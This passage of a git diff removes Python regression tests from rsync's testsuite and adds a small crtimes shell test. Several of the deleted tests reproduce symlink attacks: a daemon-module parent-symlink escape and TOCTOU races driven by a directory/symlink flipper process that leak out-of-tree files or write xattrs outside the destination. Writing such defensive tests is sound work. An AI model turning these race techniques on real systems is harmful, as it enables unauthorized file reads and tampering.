subprocess.run(rsync_argv(*args), capture_output=True, text=True)\n-\n-\n-rejected_marker = \"may only be used when connecting to an rsync daemon\"\n-\n-# A remote-shell command that fails immediately: the option guard runs before\n-# rsync ever tries to exec it, so it only has to exist as a plausible --rsh\n-# target to put rsync into its daemon-via-rsh connection mode.\n-rsh_prog = str(SRCDIR / 'support' / 'lsh.sh')\n-\n-# --- Daemon via --rsh must accept --contimeout (rsync-ssl's shape of call).\n-proc = run('--contimeout=5', '--rsh=' + rsh_prog,\n-           '-av', 'rsync://127.0.0.1:9/mod/', str(base / 'dest'))\n-if rejected_marker in (proc.stderr or ''):\n-    test_fail(f\"--contimeout was rejected for a daemon-via-rsh connection:\\n{proc.stderr}\")\n-\n-# --- A plain remote-shell (non-daemon) destination must still be rejected.\n-proc = run('--contimeout=5', '-av', str(base / 'src'), 'localhost:' + str(base / 'dst'))\n-if rejected_marker not in (proc.stderr or ''):\n-    test_fail(\"--contimeout was not rejected for a non-daemon remote shell:\\n\" +\n-              (proc.stderr or '') + (proc.stdout or ''))\n-\n-# --- A daemon-via-rsh connection that never establishes must time out with the\n-# daemon-connection timeout exit code.  The fake helper sleeps instead of\n-# connecting, so the only thing that can end the run is --contimeout firing.\n-fake_rsh = base / 'hang-rsh'\n-# The helper inherits rsync's stderr; redirect it so an orphaned \"sleep\" does\n-# not keep the harness's captured-pipe open after rsync has already exited.\n-fake_rsh.write_text(\"#!/bin/sh\\nexec 2>/dev/null\\nsleep 60\\n\")\n-fake_rsh.chmod(0o755)\n-\n-start = time.monotonic()\n-proc = run('--contimeout=1', '--rsh=' + str(fake_rsh),\n-           '-av', 'rsync://127.0.0.1:9/mod/', str(base / 'dest2'))\n-elapsed = time.monotonic() - start\n-\n-if proc.returncode != RERR_CONTIMEOUT:\n-    test_fail(f\"--contimeout did not abort the hung connection with exit \"\n-              f\"{RERR_CONTIMEOUT}; got {proc.returncode}:\\n{proc.stderr}\")\n-if elapsed >= 15:\n-    test_fail(f\"--contimeout=1 took {elapsed:.1f}s; the timeout did not bound \"\n-              \"the connection establishment phase\")\n-\n-print(\"contimeout-rsh: --contimeout is accepted for a daemon-via-rsh \"\n-      \"connection, rejected for a non-daemon remote shell, and times out a \"\n-      \"connection that never establishes\")\ndiff --git a/testsuite/copy-dest-source-symlink_test.py b/testsuite/copy-dest-source-symlink_test.py\ndeleted file mode 100644\nindex d1f4454..0000000\n--- a/testsuite/copy-dest-source-symlink_test.py\n+++ /dev/null\n@@ -1,95 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/copy-dest-source-symlink.test.\n-#\n-# Regression test for codex audit Finding 3a: copy_file()'s source open\n-# in copy_altdest_file() is via do_open_nofollow(), which only refuses\n-# a final-component symlink. A daemon-module attacker who plants a\n-# parent symlink (module/cd -> /outside) then runs --copy-dest=cd\n-# against a source matching the size+mtime of /outside/target.txt\n-# drives the receiver to read /outside/target.txt under the daemon's\n-# authority and copy it into the module.\n-#\n-# Detection: source and outside have identical metadata (size, mtime,\n-# mode) but distinct content. After the transfer, module/target.txt\n-# must contain source's content, not outside's.\n-\n-import filecmp\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR,\n-    rsync_argv, get_testuid, get_rootuid, get_rootgid,\n-    rmtree, start_test_daemon, test_fail,\n-)\n-\n-\n-DAEMON_PORT = 12883\n-\n-\n-mod = SCRATCHDIR / 'module'\n-outside = SCRATCHDIR / 'outside'\n-src_dir = SCRATCHDIR / 'src_files'\n-conf = SCRATCHDIR / 'test-rsyncd.conf'\n-\n-for d in (mod, outside, src_dir):\n-    rmtree(d)\n-    d.mkdir(parents=True)\n-\n-(outside / 'target.txt').write_text(\"OUTSIDE_LEAKED_DATA!\\n\")\n-os.chmod(outside / 'target.txt', 0o644)\n-\n-os.symlink(str(outside), mod / 'cd')\n-\n-# Source: same size + mtime + mode as outside, different content.\n-(src_dir / 'target.txt').write_text(\"ATTACKER_KNOWN_DATA!\\n\")\n-ref = (outside / 'target.txt').stat()\n-os.utime(src_dir / 'target.txt', (ref.st_atime, ref.st_mtime))\n-os.chmod(src_dir / 'target.txt', 0o644)\n-\n-my_uid = get_testuid()\n-root_uid = get_rootuid()\n-root_gid = get_rootgid()\n-uid_line = f\"uid = {root_uid}\"\n-gid_line = f\"gid = {root_gid}\"\n-if my_uid != root_uid:\n-    uid_line = '#' + uid_line\n-    gid_line = '#' + gid_line\n-\n-conf.write_text(f\"\"\"\\\n-use chroot = no\n-{uid_line}\n-{gid_line}\n-log file = {SCRATCHDIR}/rsyncd.log\n-[upload]\n-    path = {mod}\n-    use chroot = no\n-    read only = no\n-\"\"\")\n-\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-subprocess.run(\n-    rsync_argv('-rtp', '--copy-dest=cd',\n-               f'{src_dir}/', f'{url}upload/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,\n-)\n-\n-target = mod / 'target.txt'\n-if not target.is_file():\n-    test_fail(\n-        \"destination file was not created -- daemon transfer failed \"\n-        \"before the test could observe the basedir behaviour\"\n-    )\n-\n-if filecmp.cmp(target, outside / 'target.txt', shallow=False):\n-    test_fail(\n-        \"basedir-escape via copy_file source: module/target.txt now \"\n-        \"contains the contents of outside/target.txt -- daemon read \"\n-        \"/outside via the cd symlink and copied it into the module\"\n-    )\n-if not filecmp.cmp(target, src_dir / 'target.txt', shallow=False):\n-    test_fail(\n-        \"destination doesn't match source content (and isn't outside \"\n-        \"content either): unexpected state\"\n-    )\ndiff --git a/testsuite/copy-dest-symlink-readleak_test.py b/testsuite/copy-dest-symlink-readleak_test.py\ndeleted file mode 100644\nindex 654f8a9..0000000\n--- a/testsuite/copy-dest-symlink-readleak_test.py\n+++ /dev/null\n@@ -1,110 +0,0 @@\n-#!/usr/bin/env python3\n-# --copy-dest parent-component symlink-race: out-of-tree basis read-leak.\n-#\n-# With --copy-dest, rsync stats the alt-dest basis and, on an exact match, copies\n-# it into the destination instead of transferring.  basis_link_stat() refuses a\n-# foreign-owned basis symlink at stat time, but copy_file() opened an ABSOLUTE\n-# basis with bare do_open_nofollow (leaf-only -- parents followed).  A non-root\n-# attacker who flips a basis parent between a real dir and a foreign-owned symlink\n-# -> outside wins the window between the stat and the open: the copy then reads an\n-# out-of-tree file and writes its content into the destination (an attacker can\n-# read a root-readable file's content into a place they control).\n-#\n-# The fix re-resolves an absolute source's parents through the ownership walk in\n-# copy_file(), refusing the flipped foreign parent at open time.  RED on stock\n-# 3.4.x / --insecure-links, GREEN here.  Root+nobody gated.\n-\n-import os\n-import subprocess\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, race_budget, find_attacker_uid,\n-    rmtree, rsync_argv, start_c_flipper, stop_flipper, test_fail, test_skipped,\n-)\n-\n-if os.geteuid() != 0:\n-    test_skipped(\"requires root to plant a copy-dest symlink owned by a non-self uid\")\n-ATT_UID = find_attacker_uid()\n-if ATT_UID is None:\n-    test_skipped(\"no untrusted-uid user available for cross-uid plant\")\n-\n-NFILES = 60\n-PINNED = 1000000000   # identical mtime so the basis is an exact match\n-\n-base = SCRATCHDIR / 'copydest-readleak'\n-src = base / 'src'\n-dest = base / 'dest'\n-cdroot = base / 'cdroot'\n-cd = cdroot / 'cd'            # the basis dir the attacker flips\n-cdlink = cdroot / '.cdlink'   # symlink -> outside, swapped in for cd\n-outside = base / 'outside'\n-\n-SECRET = 'OUT-OF-TREE-SECRET\\n'\n-\n-\n-def build():\n-    rmtree(base)\n-    for d in (src, dest, cdroot, outside):\n-        d.mkdir(parents=True)\n-    cd.mkdir()\n-    for i in range(NFILES):\n-        (src / f'f{i}').write_text('SRC\\n')\n-        (cd / f'f{i}').write_text('BAS\\n')          # in-tree basis (exact match)\n-        (outside / f'f{i}').write_text(SECRET)        # out-of-tree content to leak\n-        for p in (src / f'f{i}', cd / f'f{i}', outside / f'f{i}'):\n-            os.utime(p, (PINNED, PINNED))\n-    os.symlink(str(outside), cdlink)\n-    os.lchown(cdlink, ATT_UID, ATT_UID)\n-\n-\n-def push():\n-    return subprocess.run(\n-        rsync_argv('-rt', f'--copy-dest={cd}', f'{src}/', f'{dest}/'),\n-        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-\n-\n-def leaked():\n-    for i in range(NFILES):\n-        try:\n-            if (dest / f'f{i}').read_text() == SECRET:\n-                return f'f{i}'\n-        except OSError:\n-            pass\n-    return None\n-\n-\n-# Positive control: a clean push with cd a real dir copies the in-tree basis.\n-build()\n-proc = push()\n-if proc.returncode != 0:\n-    test_fail(\"positive control: clean --copy-dest transfer failed \"\n-              f\"(rc={proc.returncode}):\\n{proc.stdout or ''}\")\n-for i in range(NFILES):\n-    target = dest / f'f{i}'\n-    if not target.is_file():\n-        test_fail(f\"positive control: --copy-dest did not create {target}\")\n-    got = target.read_text()\n-    if got != 'BAS\\n':\n-        test_fail(\n-            \"positive control: clean --copy-dest did not copy the in-tree \"\n-            f\"basis for {target} (got {got!r}); the test would not exercise \"\n-            \"copy_file()'s basis read path\")\n-\n-flip = start_c_flipper(cd, cdlink)\n-try:\n-    deadline = time.monotonic() + race_budget(10.0)\n-    while time.monotonic() < deadline:\n-        rmtree(dest)\n-        dest.mkdir()\n-        push()\n-        hit = leaked()\n-        if hit:\n-            test_fail(\n-                \"--copy-dest parent symlink race: out-of-tree basis content was \"\n-                f\"read into the destination ({hit}) -- copy_file followed a \"\n-                \"flipped foreign-owned --copy-dest parent symlink (read-leak).\")\n-finally:\n-    stop_flipper(flip)\n-\n-# No read-leak within the race budget.\ndiff --git a/testsuite/copy-xattrs-symlink-race_test.py b/testsuite/copy-xattrs-symlink-race_test.py\ndeleted file mode 100644\nindex b902a86..0000000\n--- a/testsuite/copy-xattrs-symlink-race_test.py\n+++ /dev/null\n@@ -1,160 +0,0 @@\n-#!/usr/bin/env python3\n-# Symlink-race (TOCTOU) in a confined receiver's metadata xattr write.\n-#\n-# With -X and --copy-dest, when a basis file matches the source the generator\n-# copies it into place and then runs set_file_attrs(), which sets the xattrs/ACLs\n-# through a held O_NOFOLLOW fd (fsetxattr).  When that held fd is unavailable --\n-# the held-dirfd cache misses, e.g. for a path deeper than the cache -- the\n-# unfixed code fell through to a path-based sys_lsetxattr(dest, ...).  lsetxattr\n-# does not follow a *leaf* symlink, but the kernel's path walk follows symlinks\n-# in PARENT components, so a parent flipped to a symlink->outside in the window\n-# between the confined create and the setxattr redirected the attacker-chosen\n-# xattr onto a file OUTSIDE the destination tree (the attacker controls the\n-# bytes -- e.g. security.capabilities as root).\n-#\n-# RED before the fix (the marker xattr lands on an outside sentinel); GREEN once\n-# set_file_attrs() re-pins via the secure resolver (or refuses) so the write\n-# always uses fsetxattr on a confined fd, which a parent flip cannot redirect.\n-# The dest path is buried below the held-dirfd cache depth so the fd-less path is\n-# taken on EVERY push (see DEEP), making the flip the only race; a separate-\n-# process flipper wins it.  No rsync instrumentation is needed.\n-\n-import os\n-import platform\n-import subprocess\n-import time\n-\n-from rsyncfns import (\n-    race_budget, SCRATCHDIR, rmtree, rsync_argv, test_fail, test_skipped,\n-    xattr_set, xattrs_supported,\n-)\n-\n-MARKER = 'user.marker'   # on-disk name we look for on the outside sentinels\n-N = 120\n-\n-if platform.system() != 'Linux':\n-    test_skipped(\"parent-flip xattr race is checked on Linux (os.*xattr)\")\n-if not xattrs_supported():\n-    test_skipped(\"rsync built without xattr support (or no xattr tooling)\")\n-\n-base = SCRATCHDIR / 'copy-xattrs-race'\n-src = base / 'src'\n-cdbasis = base / 'cdbasis'      # absolute --copy-dest basis\n-dest = base / 'dest'\n-outside = base / 'outside'\n-# Bury the flipped dir below the receiver's held-dirfd cache depth (>64) so\n-# held_dfd_for()/vfs_cached_dirfd() returns -1 for EVERY file deterministically\n-# (not just on a cache-miss race): set_file_attrs() then takes the fd-less\n-# metadata path on every push, so the only remaining race is the flip landing\n-# during the lsetxattr -- a far stronger RED oracle, especially under -j load.\n-DEEP = '/'.join(['d'] * 70)\n-\n-rmtree(base)\n-(src / DEEP / 'sub').mkdir(parents=True)\n-(cdbasis / DEEP / 'sub').mkdir(parents=True)\n-(dest / DEEP).mkdir(parents=True)\n-outside.mkdir()\n-\n-# Source + matching copy-dest basis (same content/mtime/mode so the generator\n-# copies from the basis rather than transferring), both carrying the attacker-\n-# chosen marker xattr.  A large payload widens the copy_file open->setxattr\n-# window so the separate-process flipper can land inside it.\n-payload = ('x' * 4096 + '\\n') * 16  # ~64 KB: widens the per-file create->lsetxattr window\n-try:\n-    for i in range(N):\n-        s = src / DEEP / 'sub' / f'f{i}'\n-        b = cdbasis / DEEP / 'sub' / f'f{i}'\n-        s.write_text(payload)\n-        b.write_text(payload)\n-        os.chmod(s, 0o644)\n-        os.chmod(b, 0o644)\n-        st = s.stat()\n-        os.utime(b, (st.st_atime, st.st_mtime))\n-        xattr_set('marker', 'PWNED', s, b)\n-        # Pre-create the outside sentinel the escaped lsetxattr would land on\n-        # (lsetxattr on a missing path is a no-op ENOENT, not an escape).\n-        (outside / f'f{i}').write_text('')\n-except OSError as e:\n-    test_skipped(f\"filesystem does not support user xattrs ({e})\")\n-\n-sub = dest / DEEP / 'sub'           # the parent component the attacker flips\n-link = dest / DEEP / '.sublink'     # symlink -> outside, swapped in for `sub`\n-link.symlink_to(outside)\n-\n-\n-def push():\n-    subprocess.run(\n-        rsync_argv('-rtpX', '--inplace', f'--copy-dest={cdbasis}',\n-                   f'{src}/', f'{dest}/'),\n-        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,\n-    )\n-\n-\n-def outside_marked():\n-    return sorted(p.name for p in outside.iterdir()\n-                  if p.is_file() and not p.is_symlink()\n-                  and MARKER in os.listxattr(str(p)))\n-\n-\n-# Positive control: a normal push copies the basis xattr into dest/sub, so the\n-# copy_xattrs path is genuinely exercised and the race below isn't vacuous.\n-rmtree(sub)\n-sub.mkdir()\n-push()\n-if MARKER not in os.listxattr(str(sub / 'f0')):\n-    test_fail(\"positive control: a normal --copy-dest -X push did not copy the \"\n-              \"basis marker xattr into dest/sub/f0, so the copy_xattrs race \"\n-              \"window would be vacuous\")\n-# Clear any marker the control might have left on the sentinels.\n-for i in range(N):\n-    try:\n-        os.removexattr(str(outside / f'f{i}'), MARKER)\n-    except OSError:\n-        pass\n-\n-# Separate-process flipper: flip dest/sub between a real directory and the\n-# symlink->outside (atomic 3-rename swap), fast enough to win the window\n-# between the confined create and set_file_attrs' fd-less metadata setxattr.  It self-\n-# terminates when the test process goes away (getppid changes) and after a\n-# hard deadline, so a killed test can't leak an orphan (see start_path_flipper).\n-flip_code = (\n-    \"import os, sys, time\\n\"\n-    \"sub, link = sys.argv[1], sys.argv[2]\\n\"\n-    \"scratch = sub + '.flip'\\n\"\n-    \"parent = os.getppid()\\n\"\n-    \"deadline = time.time() + 120\\n\"\n-    \"while time.time() < deadline and os.getppid() == parent:\\n\"\n-    \"    try:\\n\"\n-    \"        os.makedirs(sub, exist_ok=True)\\n\"\n-    \"        os.rename(sub, scratch); os.rename(link, sub); os.rename(scratch, link)\\n\"\n-    \"        os.rename(sub, scratch); os.rename(link, sub); os.rename(scratch, link)\\n\"\n-    \"    except OSError:\\n\"\n-    \"        pass\\n\"\n-)\n-flip = subprocess.Popen(['python3', '-c', flip_code, str(sub), str(link)])\n-try:\n-    deadline = time.monotonic() + race_budget(10.0)\n-    while time.monotonic() < deadline:\n-        # Start each round from a real (absent->mkdir'd) dest/sub so the copy\n-        # opens a real directory; the flip then happens during the copy.\n-        rmtree(sub)\n-        try:\n-            sub.unlink()\n-        except OSError:\n-            pass\n-        push()\n-        marked = outside_marked()\n-        if marked:\n-            test_fail(\n-                \"metadata xattr parent-symlink race: the attacker-chosen marker \"\n-                f\"xattr was written onto files OUTSIDE the destination tree \"\n-                f\"({marked}) -- a confined receiver's set_file_attrs() fell back to \"\n-                \"a path-based lsetxattr and followed a flipped dest/sub symlink.\")\n-finally:\n-    flip.terminate()\n-    try:\n-        flip.wait(timeout=5)\n-    except subprocess.TimeoutExpired:\n-        flip.kill()\n-\n-# No escape within the race budget.\ndiff --git a/testsuite/crtimes.test b/testsuite/crtimes.test\nnew file mode 100644\nindex 0000000..456f0a5\n--- /dev/null\n+++ b/testsuite/crtimes.test\n@@ -0,0 +1,26 @@\n+#!/bin/sh\n+\n+# Test rsync copying create times\n+\n+. \"$suitedir/rsync.fns\"\n+\n+$RSYNC -VV | grep '\"crtimes\": true' >/dev/null || test_skipped \"Rsync is configured without crtimes support\"\n+\n+# Setting an older time via touch sets the create time to the mtime.\n+# Setting it to a newer time affects just the mtime.\n+\n+mkdir \"$fromdir\"\n+echo hiho >\"$fromdir/foo\"\n+\n+touch -t 200101011111.11 \"$fromdir\"\n+touch -t 200202022222.22 \"$fromdir\"\n+\n+touch -t 200111111111.11 \"$fromdir/foo\"\n+touch -t 200212122222.22 \"$fromdir/foo\"\n+\n+TLS_ARGS=--crtimes\n+\n+checkit \"$RSYNC -rtgvvv --crtimes \\\"$fromdir/\\\" \\\"$todir/\\\"\" \"$fromdir\" \"$todir\"\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/crtimes_test.py b/testsuite/crtimes_test.py\ndeleted file mode 100644\nindex 7142b5e..0000000\n--- a/testsuite/crtimes_test.py\n+++ /dev/null\n@@ -1,38 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/crtimes.test.\n-#\n-# Test that rsync preserves source create times when the binary was built\n-# with crtimes support. Touch tricks: setting an older time via touch sets\n-# the create time to the mtime; setting a newer time affects only mtime.\n-\n-import datetime\n-import os\n-\n-import rsyncfns\n-from rsyncfns import FROMDIR, TODIR, checkit, run_rsync, test_skipped\n-\n-\n-vv = run_rsync('-VV', check=True, capture_output=True)\n-if '\"crtimes\": true' not in vv.stdout:\n-    test_skipped(\"Rsync is configured without crtimes support\")\n-\n-FROMDIR.mkdir(parents=True, exist_ok=True)\n-(FROMDIR / 'foo').write_text(\"hiho\\n\")\n-\n-\n-def _utime(path, when: 'datetime.datetime') -> None:\n-    ts = when.timestamp()\n-    os.utime(path, (ts, ts))\n-\n-\n-# Touch fromdir to an old time then to a newer time -- in shells with the\n-# right kernel support this leaves the create time pinned to the older.\n-_utime(FROMDIR, datetime.datetime(2001, 1, 1, 11, 11, 11))\n-_utime(FROMDIR, datetime.datetime(2002, 2, 2, 22, 22, 22))\n-\n-_utime(FROMDIR / 'foo', datetime.datetime(2001, 11, 11, 11, 11, 11))\n-_utime(FROMDIR / 'foo', datetime.datetime(2002, 12, 12, 22, 22, 22))\n-\n-rsyncfns.TLS_ARGS = '--crtimes'\n-\n-checkit(['-rtgvvv', '--crtimes', f'{FROMDIR}/', f'{TODIR}/'], FROMDIR, TODIR)\ndiff --git a/testsuite/cvs-exclude_test.py b/testsuite/cvs-exclude_test.py\ndeleted file mode 100644\nindex 3416d5c..0000000\n--- a/testsuite/cvs-exclude_test.py\n+++ /dev/null\n@@ -1,46 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage of -C / --cvs-exclude at depth.\n-\n--C ignores the usual CVS cruft (object files, core, editor backups, VCS dirs,\n-...) and also honours a per-directory .cvsignore. Verify both the built-in\n-patterns and a deep .cvsignore on a >=3-level tree.\n-\"\"\"\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    assert_exists, assert_not_exists, makepath, rmtree, run_rsync,\n-)\n-\n-src = FROMDIR\n-rmtree(src)\n-rmtree(TODIR)\n-makepath(src / 'd1' / 'd2' / 'd3')\n-\n-# A real file plus default-CVS-cruft at every level.\n-cur = src\n-for lvl in range(4):\n-    (cur / f'real{lvl}.c').write_text('code\\n')\n-    (cur / f'obj{lvl}.o').write_text('obj\\n')        # *.o is built-in cruft\n-    (cur / f'back{lvl}~').write_text('backup\\n')     # *~ is built-in cruft\n-    cur = cur / f'd{lvl + 1}'\n-\n-# A per-directory .cvsignore deep in the tree adds \"*.junk\" for that subtree.\n-(src / 'd1' / 'd2' / '.cvsignore').write_text('*.junk\\n')\n-(src / 'd1' / 'd2' / 'local.junk').write_text('j\\n')\n-(src / 'top.junk').write_text('j\\n')                 # not covered by that .cvsignore\n-\n-run_rsync('-aC', f'{src}/', f'{TODIR}/')\n-\n-cur = TODIR\n-for lvl in range(4):\n-    assert_exists(cur / f'real{lvl}.c', label=f'-C kept real L{lvl}')\n-    assert_not_exists(cur / f'obj{lvl}.o', label=f'-C dropped *.o L{lvl}')\n-    assert_not_exists(cur / f'back{lvl}~', label=f'-C dropped *~ L{lvl}')\n-    cur = cur / f'd{lvl + 1}'\n-\n-# .cvsignore is scoped to its directory subtree.\n-assert_not_exists(TODIR / 'd1' / 'd2' / 'local.junk',\n-                  label='-C deep .cvsignore applied')\n-assert_exists(TODIR / 'top.junk', label='-C deep .cvsignore not applied above')\n-\n-print(\"cvs-exclude: built-in patterns + deep .cvsignore honoured at depth\")\ndiff --git a/testsuite/daemon-access-hostname_test.py b/testsuite/daemon-access-hostname_test.py\ndeleted file mode 100755\nindex 6c15da1..0000000\n--- a/testsuite/daemon-access-hostname_test.py\n+++ /dev/null\n@@ -1,84 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Daemon forward-DNS hostname rules against IPv4 and IPv6 peers.\"\"\"\n-\n-import socket\n-import subprocess\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR, RSYNC,\n-    make_tree, require_tcp, rmtree, rsync_argv, start_test_daemon,\n-    test_fail, test_skipped,\n-)\n-\n-IPV4_PORT = 12895\n-IPV6_PORT = 12897\n-require_tcp(\"hostname access matching needs a real TCP peer\")\n-\n-try:\n-    for family, address in ((socket.AF_INET, '127.0.0.1'), (socket.AF_INET6, '::1')):\n-        with socket.socket(family, socket.SOCK_STREAM) as probe:\n-            probe.bind((address, 0))\n-except OSError:\n-    test_skipped(\"IPv4 or IPv6 loopback is unavailable\")\n-\n-\n-def loopback_name(family, address):\n-    for candidate in ('localhost', 'ip6-localhost', 'ip6-loopback', socket.gethostname()):\n-        try:\n-            answers = socket.getaddrinfo(candidate, None, socket.AF_UNSPEC, socket.SOCK_STREAM)\n-        except socket.gaierror:\n-            continue\n-        if any(item[0] == family and item[4][0] == address for item in answers):\n-            return candidate\n-    test_skipped(f\"no local hostname resolves to {address}\")\n-\n-\n-host4 = loopback_name(socket.AF_INET, '127.0.0.1')\n-host6 = loopback_name(socket.AF_INET6, '::1')\n-\n-src = FROMDIR\n-rmtree(src)\n-make_tree(src, depth=2)\n-\n-\n-def start(family, address, host, port):\n-    conf = SCRATCHDIR / f'access-hostname-{family}.conf'\n-    conf.write_text(\n-        f\"pid file = {SCRATCHDIR}/rsyncd-{family}.pid\\n\"\n-        \"use chroot = no\\n\"\n-        \"reverse lookup = no\\n\"\n-        \"forward lookup = yes\\n\"\n-        f\"log file = {SCRATCHDIR}/{'rsyncd.log' if family == 'ipv6' else 'rsyncd-ipv4.log'}\\n\"\n-        f\"\\n[plain]\\n\\tpath = {src}\\n\\tread only = yes\\n\"\n-        f\"\\n[allow-host]\\n\\tpath = {src}\\n\\tread only = yes\\n\\thosts allow = {host}\\n\"\n-        f\"\\n[deny-host]\\n\\tpath = {src}\\n\\tread only = yes\\n\\thosts deny = {host}\\n\"\n-        f\"\\n[allow-unresolved]\\n\\tpath = {src}\\n\\tread only = yes\\n\\thosts allow = nope.nonexistent.invalid\\n\"\n-        f\"\\n[deny-unresolved]\\n\\tpath = {src}\\n\\tread only = yes\\n\\thosts deny = nope.nonexistent.invalid\\n\"\n-        f\"\\n[forward-off]\\n\\tpath = {src}\\n\\tread only = yes\\n\\tforward lookup = no\\n\\thosts allow = {host}\\n\"\n-    )\n-    return start_test_daemon(conf, port, rsync_cmd=RSYNC, address=address)\n-\n-\n-urls = (\n-    ('IPv4', start('ipv4', '127.0.0.1', host4, IPV4_PORT)),\n-    ('IPv6', start('ipv6', '::1', host6, IPV6_PORT)),\n-)\n-\n-\n-def connect(url, module):\n-    return subprocess.run(\n-        rsync_argv('-r', f'{url}{module}/'),\n-        stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, text=True,\n-    ).returncode\n-\n-\n-for family, url in urls:\n-    for module in ('plain', 'allow-host'):\n-        if connect(url, module) != 0:\n-            test_fail(f\"{family} connection to {module} should be allowed\")\n-\n-    for module in ('deny-host', 'allow-unresolved', 'deny-unresolved', 'forward-off'):\n-        if connect(url, module) == 0:\n-            test_fail(f\"{family} connection to {module} should be denied\")\n-\n-print(\"daemon-access-hostname: IPv4 and IPv6 hostname rules verified\")\ndiff --git a/testsuite/daemon-access-idn_test.py b/testsuite/daemon-access-idn_test.py\ndeleted file mode 100755\nindex 05fea67..0000000\n--- a/testsuite/daemon-access-idn_test.py\n+++ /dev/null\n@@ -1,169 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Daemon coverage: IDN hosts allow / hosts deny matching (access.c).\n-\n-A daemon gets its peer's name from DNS as ASCII, so an rsyncd.conf entry\n-written with non-ASCII characters is folded to its IDNA A-label form before\n-being matched.  The IDNA mapping also folds some non-ASCII characters onto\n-ASCII ones (U+FF0A FULLWIDTH ASTERISK becomes '*'), so the checks below cover\n-both directions: a Unicode name that has to match, and the tokens that must\n-stay denied rather than turn into a wildcard or an address/mask.  Punycode,\n-mixed case and an unconvertible name are covered too.\n-\n-The peer name isn't assumed: a throwaway daemon comes up first to log the name\n-this host's resolver gives it, and the real config is written around that.\n-\"forward lookup\" is off throughout, which pins the match on the reverse-DNS\n-name and keeps a denied module from waiting out a resolver timeout on a name\n-that deliberately doesn't exist.\n-\n-Like daemon-access-ip_test.py this needs a real TCP peer (--use-tcp), and the\n-config sets no global hosts allow so each module's own patterns decide.\n-\"\"\"\n-\n-import re\n-import subprocess\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR,\n-    claim_ports, make_tree, require_tcp, rmtree, rsync_argv, start_rsyncd,\n-    start_test_daemon, test_fail, test_skipped,\n-)\n-\n-PROBE_PORT = 12896\n-DAEMON_PORT = 12898\n-require_tcp(\"hosts allow/deny hostname matching needs a real TCP peer\")\n-\n-if '\"IDN\": true' not in subprocess.run(rsync_argv('-VV'), capture_output=True,\n-                                       text=True).stdout:\n-    test_skipped(\"rsync built without IDN support\")\n-\n-src = FROMDIR\n-rmtree(src)\n-make_tree(src, depth=2)\n-\n-\n-def write_conf(path, modules, log, pidfile):\n-    lines = [\n-        '# autogenerated by daemon-access-idn_test.py',\n-        f'pid file = {pidfile}',\n-        'use chroot = no',\n-        'forward lookup = no',\n-        f'log file = {log}',\n-        '',\n-    ]\n-    for mod, params in modules:\n-        lines.append(f'[{mod}]')\n-        lines.append(f'\\tpath = {src}')\n-        lines.append('\\tread only = yes')\n-        lines += [f'\\t{k} = {v}' for k, v in params.items()]\n-        lines.append('')\n-    # rsyncd.conf is read as UTF-8 by the daemon whatever the test's locale is.\n-    path.write_text('\\n'.join(lines) + '\\n', encoding='utf-8')\n-    return path\n-\n-\n-# --- find out what this host's resolver calls the loopback peer -------------\n-# A throwaway daemon with one wide-open module: connect once, read the name it\n-# logged for us, then shut it down before the real config goes up.\n-probe_log = SCRATCHDIR / 'rsyncd-idn-probe.log'\n-probe_conf = write_conf(SCRATCHDIR / 'access-idn-probe.conf', [('probe', {})],\n-                        probe_log, SCRATCHDIR / 'rsyncd-idn-probe.pid')\n-claim_ports(PROBE_PORT)\n-probe = start_rsyncd(probe_conf, PROBE_PORT)\n-try:\n-    subprocess.run(rsync_argv('-r', f'rsync://localhost:{PROBE_PORT}/probe/'),\n-                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-finally:\n-    probe.terminate()\n-    probe.wait(timeout=5)\n-\n-m = re.search(r'connect from (\\S+) \\(', probe_log.read_text(errors='replace'))\n-if not m:\n-    test_fail(f\"no 'connect from' line in the probe daemon log {probe_log}\")\n-peer = m.group(1)\n-print(f\"daemon sees its peer as {peer!r}\")\n-\n-\n-def fullwidth(name):\n-    \"\"\"The fullwidth-forms spelling of an ASCII name.\n-\n-    IDNA (UTS #46) maps U+FF01..U+FF5E back onto ASCII, so this gives us a\n-    genuinely non-ASCII name that folds to a peer name we can predict without\n-    controlling DNS.  Label separators stay ASCII dots.\n-    \"\"\"\n-    return ''.join(chr(ord(c) - 0x21 + 0xFF01) if '!' <= c <= '~' and c != '.'\n-                   else c for c in name)\n-\n-\n-if fullwidth(peer) == peer:\n-    test_skipped(f\"peer name {peer!r} has no ASCII to respell in fullwidth\")\n-\n-ZWSP = '​'         # maps to nothing, leaving no label at all\n-FW_STAR = '＊'      # FULLWIDTH ASTERISK, which IDNA maps to '*'\n-FW_SLASH = '／'     # FULLWIDTH SOLIDUS, which IDNA maps to '/'\n-\n-modules = [\n-    ('ascii-name',    {'hosts allow': peer}),\n-    ('ascii-upper',   {'hosts allow': peer.upper()}),\n-    ('ascii-wild',    {'hosts allow': peer[:1] + '*'}),\n-    # The same name in fullwidth forms, which only matches once the token has\n-    # been folded to A-labels.\n-    ('idn-name',      {'hosts allow': fullwidth(peer)}),\n-    ('idn-mixedcase', {'hosts allow': fullwidth(peer.upper())}),\n-    ('idn-deny',      {'hosts deny': fullwidth(peer)}),\n-    # A real IDN that is not the peer, plus its punycode spelling: both must\n-    # stay denied, and neither may be mistaken for a wildcard.\n-    ('idn-other',     {'hosts allow': 'čičku.example'}),\n-    ('idn-puny',      {'hosts allow': 'xn--iku-eqab.example'}),\n-    # idn-other's token respelled with combining carons: an equivalent name\n-    # under Unicode, so it has to be treated the same way.  (A decomposed\n-    # token that *matches* isn't constructible here -- the peer name comes\n-    # from DNS and is ASCII -- so idn_test checks the two spellings convert\n-    # alike, and this checks 